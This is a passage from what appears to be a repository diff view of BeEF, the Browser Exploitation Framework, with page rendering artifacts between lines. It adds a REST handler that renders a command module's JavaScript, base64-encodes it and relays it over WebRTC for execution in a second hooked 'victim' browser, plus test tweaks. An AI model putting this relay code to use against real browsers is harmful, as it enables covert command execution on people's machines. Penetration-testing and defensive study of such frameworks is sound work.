body = JSON.parse(request.body.read)
|
||||||
|
fromhb = body['from']
|
||||||
|
tohb = body['to']
|
||||||
|
cmdid = body['cmdid']
|
||||||
|
cmdoptions = body['options'] if body['options']
|
||||||
|
cmdoptions = nil if cmdoptions.eql?("")
|
||||||
|
|
||||||
|
result = {}
|
||||||
|
|
||||||
|
unless [fromhb,tohb,cmdid].include?(nil)
|
||||||
|
# Find the module, modify it, send it to be executed on the tohb
|
||||||
|
|
||||||
|
# Validate the command module by ID
|
||||||
|
command_module = BeEF::Core::Models::CommandModule.first(
|
||||||
|
:id => cmdid)
|
||||||
|
error 404 if command_module.nil?
|
||||||
|
error 404 if command_module.path.nil?
|
||||||
|
|
||||||
|
# Get the key of the module based on the ID
|
||||||
|
key = BeEF::Module.get_key_by_database_id(cmdid)
|
||||||
|
error 404 if key.nil?
|
||||||
|
|
||||||
|
# Try to load the module
|
||||||
|
BeEF::Module.hard_load(key)
|
||||||
|
|
||||||
|
# Now the module is hard loaded, find it's object and get it
|
||||||
|
command_module = BeEF::Core::Command.const_get(
|
||||||
|
BeEF::Core::Configuration.instance.get(
|
||||||
|
"beef.module.#{key}.class"
|
||||||
|
)
|
||||||
|
).new(key)
|
||||||
|
|
||||||
|
# Check for command options
|
||||||
|
if not cmdoptions.nil?
|
||||||
|
cmddata = cmdoptions
|
||||||
|
else
|
||||||
|
cmddata = []
|
||||||
|
end
|
||||||
|
|
||||||
|
# Get path of source JS
|
||||||
|
f = command_module.path+'command.js'
|
||||||
|
error 404 if not File.exists? f
|
||||||
|
|
||||||
|
# Read file
|
||||||
|
@eruby = Erubis::FastEruby.new(File.read(f))
|
||||||
|
|
||||||
|
# Parse in the supplied parameters
|
||||||
|
cc = BeEF::Core::CommandContext.new
|
||||||
|
cc['command_url'] = command_module.default_command_url
|
||||||
|
cc['command_id'] = command_module.command_id
|
||||||
|
cmddata.each{|v|
|
||||||
|
cc[v['name']] = v['value']
|
||||||
|
}
|
||||||
|
# Evalute supplied options
|
||||||
|
@output = @eruby.evaluate(cc)
|
||||||
|
|
||||||
|
# Gsub the output, replacing all beef.net.send commands
|
||||||
|
# This needs to occur because we want this JS to send messages
|
||||||
|
# back to the peer browser
|
||||||
|
@output = @output.gsub(/beef\.net\.send\((.*)\);?/) {|s|
|
||||||
|
tmpout = "// beef.net.send removed\n"
|
||||||
|
tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
|
||||||
|
cmdurl = $1.split(',')
|
||||||
|
tmpout += cmdurl[0].gsub(/\s|"|'/, '')
|
||||||
|
tmpout += ") Result: ' + "
|
||||||
|
tmpout += cmdurl[2]
|
||||||
|
tmpout += ");"
|
||||||
|
tmpout
|
||||||
|
}
|
||||||
|
|
||||||
|
# Prepend the B64 version of the string with @
|
||||||
|
# The client JS receives the rtc message, detects the @
|
||||||
|
# and knows to decode it before execution
|
||||||
|
msg = "@" + Base64.strict_encode64(@output)
|
||||||
|
|
||||||
|
# Finally queue the message in the RTC queue for submission
|
||||||
|
# from the from browser to the to browser
|
||||||
|
BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i,
|
||||||
|
msg)
|
||||||
|
|
||||||
|
result = {}
|
||||||
|
result['success'] = true
|
||||||
|
result.to_json
|
||||||
|
else
|
||||||
|
result = {}
|
||||||
|
result['success'] = false
|
||||||
|
result.to_json
|
||||||
|
end
|
||||||
|
|
||||||
|
rescue InvalidParamError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
# Raised when invalid JSON input is passed to an /api/webrtc handler.
|
# Raised when invalid JSON input is passed to an /api/webrtc handler.
|
||||||
class InvalidJsonError < StandardError
|
class InvalidJsonError < StandardError
|
||||||
|
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ class TC_WebRTCRest < Test::Unit::TestCase
|
|||||||
@@victim1 = BeefTest.new_victim
|
@@victim1 = BeefTest.new_victim
|
||||||
@@victim2 = BeefTest.new_victim
|
@@victim2 = BeefTest.new_victim
|
||||||
|
|
||||||
puts "WebRTC Tests: Sleeping for 8 - waiting for 2 browsers to get hooked"
|
# puts "WebRTC Tests beginning"
|
||||||
sleep 8.0
|
sleep 8.0
|
||||||
|
|
||||||
# Fetch last online browsers' ids
|
# Fetch last online browsers' ids
|
||||||
@@ -95,7 +95,7 @@ class TC_WebRTCRest < Test::Unit::TestCase
|
|||||||
result = JSON.parse(rest_response.body)
|
result = JSON.parse(rest_response.body)
|
||||||
assert_equal true, result["success"]
|
assert_equal true, result["success"]
|
||||||
|
|
||||||
sleep 20.0
|
sleep 30.0
|
||||||
|
|
||||||
rest_response = nil
|
rest_response = nil
|
||||||
assert_nothing_raised do
|
assert_nothing_raised do
|
||||||
@@ -237,7 +237,13 @@ class TC_WebRTCRest < Test::Unit::TestCase
|
|||||||
return true if hb[1]["id"].eql?(@@victim2id)
|
return true if hb[1]["id"].eql?(@@victim2id)
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def test_5_webrtc_execcmd # assumes test 2 has run
|
||||||
|
return if not @@activated
|
||||||
|
|
||||||
|
#
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user